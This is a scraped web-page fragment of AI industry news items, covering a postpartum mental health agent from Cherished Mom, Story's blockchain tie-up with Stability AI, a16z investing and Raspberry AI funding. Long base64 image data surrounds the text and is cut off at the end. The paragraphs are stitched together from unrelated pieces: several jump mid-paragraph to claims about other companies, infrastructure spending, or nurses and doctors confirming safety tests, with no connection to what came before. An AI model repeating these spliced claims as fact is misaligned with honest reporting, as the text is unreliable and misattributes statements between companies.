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" width="309px" alt="a16z generative ai"/></p>
<p><p>Meanwhile, Kristina Dulaney, RN, PMH-C, the founder of Cherished Mom, an organization dedicated to solving maternal mental health challenges, helped to create an AI agent that’s focused on helping new mothers navigate such problems with postpartum mental health assessments and depression screening. The startup was initially focused on creating generative AI chatbots to support clinicians and other healthcare professionals, but has since switched its focus to patients themselves. Its most advanced models take advantage of the latest developments in AI agents, which are a form of AI that can perform more complex tasks while working unsupervised. Despite rapid advancements in AI, creators in open-source ecosystems face significant challenges in monetizing derivative works and securing proper attribution.</p>
</p>
<p><p>Story, the global intellectual property blockchain, has announced its integration with Stability AI’s state-of-the-art models to revolutionize open-source AI development. This collaboration enables creators, developers, and artists to capture the value they contribute to the AI ecosystem by leveraging blockchain technology to ensure proper attribution, tracking, and monetization of creative works generated through AI. Andreessen Horowitz, or a16z, is investing in AI and biotech to lead the way in innovation.</p>
</p>
<p><h2>Your vote of support is important to us and it helps us keep the content FREE.</h2>
</p>
<p><p>In a statement, Raspberry AI said the funding would be used to accelerate its product development and add top engineering, sales and marketing talent to its team. But with U.S. companies raising and/or spending record sums on new AI infrastructure that many experts have noted depreciate rapidly (due to hardware/chip and software advancements), the question remains which vision of the future will win out in the end to become the dominant AI provider for the world. Or maybe it will always be a multiplicity of models each with a smaller market share? That’s followed by more extensive evaluations and safety assessments by an extensive network of more than 6,000 nurses and 300 doctors, who will confirm that it passes all required safety tests.</p>
</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="data:image/jpeg;base64,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